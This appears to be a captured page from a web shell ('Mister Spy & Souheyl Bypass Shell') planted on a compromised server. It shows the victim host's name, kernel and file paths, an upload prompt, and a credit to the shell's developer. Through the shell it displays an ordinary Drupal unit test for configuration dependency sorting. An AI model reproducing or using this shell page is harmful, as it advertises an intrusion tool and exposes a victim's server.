Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/holz-machines/web/core/tests/Drupal/Tests/Core/Config/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/holz-machines/web/core/tests/Drupal/Tests/Core/Config/ConfigDependencyManagerTest.php

<?php

namespace Drupal\Tests\Core\Config;

use Drupal\Core\Config\Entity\ConfigDependencyManager;
use Drupal\Tests\UnitTestCase;

/**
 * Tests the ConfigDependencyManager class.
 *
 * @group Config
 *
 * @coversDefaultClass \Drupal\Core\Config\Entity\ConfigDependencyManager
 */
class ConfigDependencyManagerTest extends UnitTestCase {

  /**
   * @dataProvider providerTestSortAll
   */
  public function testSortAll(array $data, array $expected_order) {
    $dependency_manager = new ConfigDependencyManager();
    $dependency_manager->setData($data);
    $this->assertEquals($expected_order, $dependency_manager->sortAll());
  }

  public function providerTestSortAll() {
    $datasets[] = [
      [
        'provider.entity_b' => [],
        'provider.entity_a' => [],
      ],
      ['provider.entity_a', 'provider.entity_b'],
    ];

    $datasets[] = [
      [
        'provider.entity_a' => [],
        'provider.entity_b' => [],
      ],
      ['provider.entity_a', 'provider.entity_b'],
    ];

    $datasets[] = [
      [
        'provider.entity_b' => ['dependencies' => ['config' => ['provider.entity_a']]],
        'provider.entity_a' => [],
      ],
      ['provider.entity_a', 'provider.entity_b'],
    ];

    $datasets[] = [
      [
        'provider.entity_a' => [],
        'provider.entity_b' => ['dependencies' => ['config' => ['provider.entity_a']]],
      ],
      ['provider.entity_a', 'provider.entity_b'],
    ];

    $datasets[] = [
      [
        'provider.entity_b' => [],
        'provider.entity_a' => ['dependencies' => ['config' => ['provider.entity_b']]],
      ],
      ['provider.entity_b', 'provider.entity_a'],
    ];

    $datasets[] = [
      [
        'provider.entity_a' => ['dependencies' => ['config' => ['provider.entity_b']]],
        'provider.entity_b' => [],
      ],
      ['provider.entity_b', 'provider.entity_a'],
    ];

    $datasets[] = [
      [
        'provider.entity_a' => ['dependencies' => ['config' => ['provider.entity_b']]],
        'provider.entity_b' => [],
        'block.block.a' => [],
        'block.block.b' => [],
      ],
      ['block.block.a', 'provider.entity_b', 'block.block.b', 'provider.entity_a'],
    ];

    $datasets[] = [
      [
        'provider.entity_b' => [],
        'block.block.b' => [],
        'block.block.a' => [],
        'provider.entity_a' => ['dependencies' => ['config' => ['provider.entity_b']]],
      ],
      ['block.block.a', 'provider.entity_b', 'block.block.b', 'provider.entity_a'],
    ];

    $datasets[] = [
      [
        'provider.entity_b' => [],
        'block.block.b' => [],
        'block.block.a' => [],
        'provider.entity_a' => ['dependencies' => ['config' => ['provider.entity_b']]],
        'provider.entity_c' => ['dependencies' => ['config' => ['block.block.a']]],
      ],
      ['block.block.a', 'block.block.b', 'provider.entity_b', 'provider.entity_a', 'provider.entity_c'],
    ];

    $datasets[] = [
      [
        'provider.entity_b' => ['dependencies' => ['module' => ['system']]],
        'block.block.b' => [],
        'block.block.a' => ['dependencies' => ['module' => ['system']]],
        'provider.entity_a' => ['dependencies' => ['config' => ['provider.entity_c']]],
        'provider.entity_c' => ['dependencies' => ['config' => ['block.block.a']]],
      ],
      ['block.block.b', 'block.block.a', 'provider.entity_c', 'provider.entity_a', 'provider.entity_b'],
    ];

    return $datasets;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net